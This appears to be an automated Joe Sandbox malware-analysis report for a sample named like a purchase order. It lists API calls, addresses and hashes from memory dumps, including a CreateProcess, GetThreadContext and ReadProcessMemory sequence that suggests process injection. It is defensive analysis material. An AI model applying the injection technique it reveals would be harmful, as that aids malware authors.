                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                • String ID:
                                                                                                • API String ID: 1411284514-0
                                                                                                • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                                • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                                APIs
                                                                                                • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseOpenQueryValue
                                                                                                • String ID:
                                                                                                • API String ID: 3677997916-0
                                                                                                • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                APIs
                                                                                                • _malloc.LIBCMT ref: 00435278
                                                                                                  • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                  • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                  • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                • _malloc.LIBCMT ref: 00435288
                                                                                                • _malloc.LIBCMT ref: 00435298
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _malloc$AllocateHeap
                                                                                                • String ID:
                                                                                                • API String ID: 680241177-0
                                                                                                • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                APIs
                                                                                                • _wcslen.LIBCMT ref: 00401B71
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID: @EXITCODE
                                                                                                • API String ID: 580348202-3436989551
                                                                                                • Opcode ID: 249d3e1fb0eb7af7dd68e91585e8e82f6d1afee6ce15ea26a7b3c9390e073f3e
                                                                                                • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                                                • Opcode Fuzzy Hash: 249d3e1fb0eb7af7dd68e91585e8e82f6d1afee6ce15ea26a7b3c9390e073f3e
                                                                                                • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                                                APIs
                                                                                                • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                                • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateFile
                                                                                                • String ID:
                                                                                                • API String ID: 823142352-0
                                                                                                • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                                • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __lock_file_memset
                                                                                                • String ID:
                                                                                                • API String ID: 26237723-0
                                                                                                • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                APIs
                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                • __lock_file.LIBCMT ref: 00414EE4
                                                                                                  • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                • String ID:
                                                                                                • API String ID: 717694121-0
                                                                                                • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                APIs
                                                                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 03F33AAB
                                                                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03F33B41
                                                                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03F33B63
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                • String ID:
                                                                                                • API String ID: 2438371351-0
                                                                                                • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                                                                • Instruction ID: 720732aeb118b10cb078c9b53ea8e47a5232d9c9e6704a58d24762c2252f54dc
                                                                                                • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                                                                • Instruction Fuzzy Hash: 3312DE24E24658C6EB24DF64D8507DEB232EF69300F1090E9910DEB7A4E77A4F85CF5A
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ProtectVirtual
                                                                                                • String ID:
                                                                                                • API String ID: 544645111-0
                                                                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                                                • Opcode Fuzzy Hash: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                                                APIs
                                                                                                • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ProcWindow
                                                                                                • String ID:
                                                                                                • API String ID: 181713994-0
                                                                                                • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                                • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                                APIs
                                                                                                • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateHeap
                                                                                                • String ID:
                                                                                                • API String ID: 10892065-0
                                                                                                • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                APIs
                                                                                                  • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                                • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$PointerWrite
                                                                                                • String ID:
                                                                                                • API String ID: 539440098-0
                                                                                                • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                                • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                                APIs
                                                                                                • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ProcWindow
                                                                                                • String ID:
                                                                                                • API String ID: 181713994-0
                                                                                                • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                                • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wfsopen
                                                                                                • String ID:
                                                                                                • API String ID: 197181222-0
                                                                                                • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                APIs
                                                                                                • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseHandle
                                                                                                • String ID:
                                                                                                • API String ID: 2962429428-0
                                                                                                • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                                • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                                APIs
                                                                                                • Sleep.KERNELBASE(000001F4), ref: 03F34301
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Sleep
                                                                                                • String ID:
                                                                                                • API String ID: 3472027048-0
                                                                                                • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                • Instruction ID: 5368ad79e09361025dd4c13f677b340d0c3fdba134fde77ebaad646eb3153932
                                                                                                • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                • Instruction Fuzzy Hash: F8E0E67494010DDFDB00EFF8D54969E7FB4EF04301F1001A1FD01D3281D6309D509A62
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                                • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                • SendMessageW.USER32 ref: 0047C2FB
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
